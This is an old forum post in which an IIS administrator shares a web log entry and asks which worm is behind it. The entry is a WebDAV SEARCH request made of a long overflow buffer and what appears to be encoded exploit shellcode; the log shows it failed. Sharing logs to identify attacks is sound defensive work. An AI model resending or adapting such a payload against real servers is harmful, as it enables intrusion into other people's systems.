Scanning Activity - TechRepublic
General discussion
February 23, 2004 at 04:41 AM
dhorvath

Scanning Activity

by dhorvath . Updated 22 years, 4 months ago

I have IIS Running on a server and noticed in the weblogs strange scanning activity. Here is a sample of the activity.

Does anybody know what worm is scanning? There are several entires in the logs but none are successful in the scanning.

2004-02-23 01:40:26 207.78.135.10 – xxxx.xxxx.xxxx.xxxx 80 SEARCH /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?????????????????????????????????????####??????????rmomddddddisjhnegdddddddlohddplokdepnqlojldlloskjndiimrlimddddddrfsmlgrpehggpdidjlfrjikljijljljskgkhjlipkgkjjgloqpidjndjjndfididjlddddddhdigssejlgslsskhfmlosljnddlopjlgpdelidloilspiglgpddhidikssijdhidikssijdlillipdkhdmloqpggpdidigssijdpssijedieijlohigploihflkldgqiiflokffddgsiggpmhmhenqdgpiggqodsoredgnqjkhdlpepodqdgqnhdrosegoeskirkinloinfhdgqqjjlodpholoinepdgqqlodhlodgpinoirimpgrlhfssssssniekddkpeskmdnrlsomksqdsmlsrlndrrsprrdjdddgfddddddddddddhqinmddddgdddddddhddddddssssddddolddddddddddddddhdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddrldddddddresondrddohdmpqfeoldehppqfeihjljmkgfdkdkfjsjkkfjejqfdjgjejrjrjskhfdjfjifdkfkijrfdjmjrfdhhhsigfdjqjsjhjifrdqdqdnfhddddddddddddddnigldipkreimjomhreimjomhreimjomhmnhijkmhrgimjomhjfhijimhrgimjomhlrhjjemhrnimjomhlrhjjsmhrgimjomhreimjnmhljimjomhjfiegjmhrlimjomhrkknjdmhrdimjomhifjmjgjlreimjomhddddddddddddddddddddddddddddddddddddddddddddddddidhiddddhpdedgddffqkkdfmddddddddddddddddrddddsdedodeispjddgdddddddedddddddmdddddndpnddddddndddddddqdddddddddhdddddeddddddddfdddddhdddddddddddddddhddddddddddddddddrddddddddhdddddddddddddgddddddddddedddddedddddddddedddddedddddddddddddedddddddddddddddddddddddddqdddddgldeddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddmdddddddeddddddddddddddddhddddddddddddddddddddddddddddldddddrdddddddddddddddddddgdddddddndddddddfpdddddddhddddddddddddddddddddddddddddhdddddrdddddddddddddddddddedddddddqddddddddfddddddgdddddddddddddddddddddddddddddhdddddpdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddsssseirlhdhdddrldddddqoplipdkigijldhdednjlkhngefidojsfppjpemrpedgpklfmsdiooosqhsfnsplgsldfkidirmdmdefpdhddhpsrqskrpmpgmdlerpdldfeflqhhfhddijiklogqglhehdsossompigpifrdjpqklgphdplqhpfhdljnddiejhkkjgosqqigrdhddirhhdkdgpfrlogihdsjkkkskgdifkdhssqjmmomdiirsksmloehmikliregqsmrhpqlifeejhfidkdsldkmdihlonookksslgplslhdlodhlirnflipfjdmhrniiqjqhmksnsejnoliilfjmnmgqlrlpmrglsefnlkjlmhkqlojmoqoqosssssseirlhdhdddrldddddqoplipdkigijldhdednjlkhngefidojsfppjpemrpedgpklfmsdiooosqhsfnsplgsldfkidirmdmdefpdhddhpsrqskrpmpgmdlerpdldfeflqhhfhddijiklogqglhehdsossompigpifrdjpqklgphdplqhpfhdljnddiejhkkjgosqqigrdhddirhhdkdgpfrlogihdsjkkkskgdifkdhssqjmmomdiirsksmloehmikliregqsmrhpqlifeejhfidkdsldkmdihlonookksslgplslhdlodhlihheilqlpfhehohidjlqlkgiesgkfhlikfhdesrehligpqmrqkhokneepiffmfhlpqpjlqnjdrskkqodpklfhdkdeopisirlephpmqokksgsqjsddlgrpedjlsljpogqpggpdpkrmkknsqogrgplmdkdldgdpsmegdhkdeeoooikkjgqeglfhskqleopddgkpphedhplfrmqrojjlpdefddjrheghkhkgmosssjngshnikokhghjndejnddjndffmipdldnofoeiljhdhlodsdgenkfreiorhdehsgdpfdlddjsnddejrjrfogpedigiikesgdfogimmlhesskqrkkrdslijpdqfpedrpnesdnieekhempkdiqlsromprkikoileknieddjesdjrproekoofkfkpseljhdddedlgpdhdplphpjkhldlndmnehdskskkskesnllqdpldlofqpheqloeqpldilqdhhllqehldneklpkliqslhlfjqlmihjgkpgnfpksginegldroksorjdhdmsskhfoidgpegsphhjrmiesgoonerokehdsepidedldffqmlqnqsoqsssqgnldgjqqidnpphdeflipqlqoeejqjhsqdhdhlkdheeoioodrjnghpkmqklgjkehekdhkgmssqjqikiffkjlndfjghjjngqhqehqrlkrmqsodslhjgqdienegjjnsspmqhrmkjdqpspoelipoheldlereprrfedgejkoskeffpdhfhkpjlmdjekqeqeoqrpqlsilmrfqklngkdmggrdijlqdssqnqjdpililieqgmqlolosdlerjsspgqldpleddqknolgsndgkkeqssfhmijeslqsqpipeheqnmedperfeddgsfrodolojikqmdjsooeiperddpsdfoeodldslkminrpemqprdnfsjpmpdpmijngnk – 404 –

This discussion is locked

All Comments